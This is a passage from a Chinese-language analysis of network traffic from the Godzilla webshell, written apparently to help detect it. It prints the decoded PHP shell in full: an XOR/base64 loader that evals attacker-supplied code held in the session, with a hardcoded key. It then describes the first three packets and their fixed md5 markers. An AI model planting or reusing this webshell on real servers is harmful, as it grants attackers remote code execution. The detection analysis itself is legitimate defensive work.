k92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'))));

解密后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}


其实第一个特征已经出来了,不难看出在PHP_EVAL_XOR_BASE64这个加密器的情况下,哥斯拉会将他的完整shell通过密码参数传入服务器,且每个包都会

第一包

哥斯拉的第一个包:

wllm是我们上面传入的马,key解密后会发现它其实是payload,详见哥斯拉流量分析 - 先知社区 (aliyun.com)

第二包

将信息传入payload的run函数

run 传递的参数中会有一定的序列化(格式化),可以参考 formatParameter 函数,不影响解析。

在注入 Session 后的一个流量,会调用 test 函数,即参数

1
b'methodName\x02\x04\x00\x00\x00test'

返回值会前后携带固定的 md5 值的前后 16 个字符,与加密逻辑一致。

不过需要注意的是,有时 Godzilla 会使用 gzip 进行压缩以减小数据传输量。

其余行为与冰蝎是类似的

第三包

getBasicsInfo函数返回信息